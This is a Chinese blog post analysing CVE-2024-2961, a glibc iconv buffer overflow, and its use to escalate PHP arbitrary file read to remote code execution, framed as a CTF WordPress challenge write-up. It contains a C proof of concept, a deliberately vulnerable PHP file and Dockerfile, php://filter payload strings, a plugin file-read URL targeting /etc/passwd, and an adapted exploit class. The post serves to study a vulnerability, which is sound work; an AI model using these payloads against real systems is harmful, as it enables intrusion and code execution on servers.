从春秋杯夏季赛wordpress引发的CVE-2024-2961思考浅析

前言

看了春秋杯夏季赛wp,发现那道wordpress就是先扫插件然后找到任意文件读取部分,用CVE-2024-2961来实现反弹shell或直接读操作,觉得这个点有点意思,跟前面学的侧信道、php-filter-chains啥的感觉有所关联,而且放假了也比较闲,于是写一篇文章来学学看看。

首先,这个CVE-2024-2961是Linux GLIBC的库函数iconv缓冲区溢出漏洞,也就是跟二进制关系密切,虽然我对pwn了解不深,但是看看应该还是不难理解emmm,目前已知的利用方式是可以让PHP的任意文件读取漏洞升级的远程命令执行漏洞。

有点类似于我们常说的LFI to RCE

ICONV漏洞

CVE-2024-2961本质上是GLIBC中iconv库的漏洞,漏洞点,位于glibc/iconvdata/iso-2022-cn-ext.c文件,相关代码如下:

else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8))\
          {                                      \
        const char *escseq;                          \
                                          \
        assert (used == CNS11643_2_set); /* XXX */              \
        escseq = "*H";                              \
        *outptr++ = ESC;                          \
        *outptr++ = '$';                          \
        *outptr++ = *escseq++;                          \
        *outptr++ = *escseq++;                          \
                                          \
        ann = (ann & ~SS2_ann) | (used << 8);                  \
          }                                      \
        else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8))\
          {                                      \
        const char *escseq;                          \
                                          \
        assert ((used >> 5) >= 3 && (used >> 5) <= 7);              \
        escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;              \
        *outptr++ = ESC;                          \
        *outptr++ = '$';                          \
        *outptr++ = *escseq++;                          \
        *outptr++ = *escseq++;                          \
                                          \
        ann = (ann & ~SS3_ann) | (used << 8);                  \
          }        

在上述代码的这两个分支中,输入会被转换为4字节的输出,且不会检查输出buf的长度。这可能产生6种输出:

\x1b$*H        0x1b 0x24 0x2A 0x48
\x1b$+I        0x1b 0x24 0x2b 0x49
\x1b$+J        0x1b 0x24 0x2b 0x4a
\x1b$+K        0x1b 0x24 0x2b 0x4b
\x1b$+L        0x1b 0x24 0x2b 0x4c
\x1b$+M        0x1b 0x24 0x2b 0x4d

而PoC如下:

/*
CVE-2024-2961 POC
$ gcc -o poc ./poc.c && ./poc
Remaining bytes (should be > 0): -1
$
*/
#include <iconv.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

void hexdump(void *ptr, int buflen)
{
    unsigned char *buf = (unsigned char *)ptr;
    int i, j;
    for (i = 0; i < buflen; i += 16)
    {
        printf("%06x: ", i);
        for (j = 0; j < 16; j++)
            if (i + j < buflen)
                printf("%02x ", buf[i + j]);
            else
                printf("   ");
        printf(" ");
        for (j = 0; j < 16; j++)
            if (i + j < buflen)
                printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
        printf("\n");
    }
}

void main()
{
    iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

    char input[0x10] = "AAAAA劄";
    char output[0x10] = {0};

    char *pinput = input;
    char *poutput = output;

    // Same size for input and output buffer
    size_t sinput = strlen(input);
    size_t soutput = sinput;

    iconv(cd, &pinput, &sinput, &poutput, &soutput);

    printf("Remaining bytes (should be > 0): %zd\n", soutput);

    hexdump(output, 0x10);
}

编译运行

$ gcc poc.c -o poc
$ ./poc
./poc
Remaining bytes (should be > 0): -1
000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00  AAAAA.$*H.......

我们使用python来看看PoC的特殊字符:

从上面的结果可以看出,这个特殊字符只占3字节,但是却会被转译为\x1b$*H四字节,产生了一字节的溢出,上面的PoC似乎还是不太好展示出该漏洞的影响情况,我们可以简单的改改代码,如下所示:

void main()
{
    iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");

    char input[0x3] = "";
    char output[0x3] = {0};
    char overflow[0x5] = "AAAA";

    char *pinput = input;
    char *poutput = output;

    // Same size for input and output buffer
    size_t sinput = 3;
    size_t soutput = 3;

    size_t status = iconv(cd, &pinput, &sinput, &poutput, &soutput);

    printf("Remaining bytes (should be > 0): %zd\nstatus = %d\n", soutput, status);

    hexdump(output, 0x10);
    printf("overflow = %s\n", overflow);
}

从上面的结果可以看出,我们成功的溢出了1字节到overflow变量中。

从字节溢出到让PHP的任意文件读取进阶成为RCE

在了解完iconv漏洞原理之后,接下来再看看该漏洞的实际利用场景。目前已公开的漏洞利用场景只有一个,就是把PHP的任意文件读取漏洞转换为远程命令指令漏洞。

对于简单的任意文件读取就是这样:

<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>

这里我们常规poc用的就是filter编码,常用的是

php://filter/read=convert.base64-encode/resource=xxxxx

当然也可以用ICONV编码

php://filter/read=convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:text/plain;base64,xxxxxxx

这样我们就可以调用iconv_open("ISO-2022-CN-EXT", "UTF-8");,接着控制iconv函数的输入buffer,达到触发iconv漏洞的目的。不得不说这个漏洞的发现还是挺具有巧合性的,但是也很水到渠成。

Dockerfile:

FROM ubuntu:22.04

RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt update && apt install -y nginx php-fpm
# libc降级到有漏洞的版本
RUN apt install -y libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 libc6=2.35-0ubuntu3
COPY index.php /var/www/html/index.php
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /start.sh
RUN chmod +x /start.sh

CMD ["start.sh"]

index.php:

<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>

nginx.conf:

server {
    listen 80 default_server;
    listen [::]:80 default_server;


    root /var/www/html;

    index index.php;

    server_name _;

    location / {
        try_files $uri $uri/ /index.php?$query_string;
    }

    location ~ \.php$ {
            fastcgi_split_path_info ^(.+\.php)(/.+)$;
            fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
            fastcgi_index index.php;
            include fastcgi_params;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            fastcgi_param PATH_INFO $fastcgi_path_info;
        }


}

start.sh:

#!/bin/bash
/etc/init.d/php8.1-fpm start
nginx -g 'daemon off;'

搭好环境后直接可以测poc。

poc分析

公开的是python代码poc,由于比较长,这里只放个链接cnext-exploits/cnext-exploit.py at main · ambionics/cnext-exploits (github.com)

  1. 首先,对目标是否能进行漏洞利用进行检测,该检测过程没法检测目标是否存在漏洞,只能检测目标是否存在进行漏洞利用的条件,有以下三个方面:

    • 检测目标的任意文件读是否支持:data:text/plain;base64,

    • 检测目标的任意文件读是否支持:php://filter//resource=data:text/plain;base64,

    • 检测目标的任意文件读是否支持:php://filter/zlib.inflate/resource=data:text/plain;base64,

  2. 通过/proc/self/maps获取目标的内存布局,获取目标libc文件。获取目标内存布局需要获取libc的基地址,PHP堆的基地址。libc的基地址很好获取,但是PHP堆的基地址就得猜测,没办法100%确定,PHP堆有以下条件:

    • 大小在0x200000之上,并且为该大小的倍数,所以还需要0x200000对齐。

    • 该内存段不属于任何二进制文件。

    • 该内存段的权限为:rw-p

  3. 构造Payload,发送Payload到目标进行漏洞利用。

后续就是很二进制风格的内容了,建议去详看CVE-2024-2961 漏洞分析 - FreeBuf网络安全行业门户,对于我自己这个二进制菜鸡来说就懒得看了hhh

经过几篇文章的大致分析发现,公开的PoC已经非常完善了,利用链无法进一步优化,并且已经进行了两次zlib压缩,能把payload压缩到非常短。

虽然目前公开的只有对PHP进行利用的PoC,但是iconv漏洞的影响面仍非常广泛,后续将继续对iconv的使用面进行研究,以确定是否还有其他应用受到了该漏洞的影响。

赛题回顾

回到那道wordpress,先使用mail-masta 的 CVE-2016-10956读取/var/www/html/wp-content/database/.ht.sqlite拿账密(https://github.com/p0dalirius/CVE-2016-10956-mail-masta/blob/master/CVE-2016-10956_mail_masta.py)

有任意文件读取

/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd

但是有很多标签导致无法读取完整,这里采用的就是用php://filter/下载maps和libc.so:

/usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/maps

对于题目而言,改改payload的这个remote类:

def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()
        self.session.headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36",
            "Cookie":"wordpress_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Cb847e13631b08d8e6cb3528b7b3ffe5cfc26e3dd7be5a4dc9dcdc0151c0be873; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720026818,1720091541,1720161557; HMACCOUNT=06D642FA6D3CD649; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1720161560; PHPSESSID=6fd15deed30423894715ced0e98b545f; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Ce0c1af65c1951fece8672cc3b08c4d583a056923594d950558734c06b49e22b8; wp-settings-time-5=1720163412"}
    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        print(path)
        req = self.session.post(self.url + "/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path="+quote(path))
        return req
        #return self.session.get(self.url + "/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php/?url=" + quote(path))
        
    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        print(response)
        data = response.re.search(b" name=\"(.*)\[\]", flags=re.S).group(1)
        try:
            return base64.decode(data)
        except Exception as e:
            print(e)
            return data

然后本地生成payload打RCE,通过 responsive-vector-maps 的任意文件读来发反弹 shell:

RVM 的 Subscriber+ 读:

也可以写文件

/readflag > /var/www/html/flag

 

自搭环境测试:

需要linux解释器和python3.10+,这里由于我这边网不好,以及dockerhub被墙了的缘故,很多包安装都很折磨,但最后还是打成功了:

CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行(RCE)_cve2024 filter-CSDN博客

CVE-2024-2961复现-CSDN博客

 

参考:

【翻译】从设置字符集到RCE:利用 GLIBC 攻击 PHP 引擎(篇一) - 先知社区 (aliyun.com)

CVE-2024-2961 漏洞分析 - FreeBuf网络安全行业门户

ambionics/cnext-exploits: Exploits for CNEXT (CVE-2024-2961), a buffer overflow in the glibc's iconv() (github.com)

Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine (part 1) (ambionics.io)

CVE-2024-2961 漏洞分析 (seebug.org)

2024春秋杯网络安全联赛夏季赛WP(web) (qq.com)

2024春秋杯网络安全联赛夏季赛 - Web w0rdpress 题解 - Kengwang 博客

 

posted @ 2024-07-11 15:56  Eddie_Murphy  阅读(600)  评论(0编辑  收藏  举报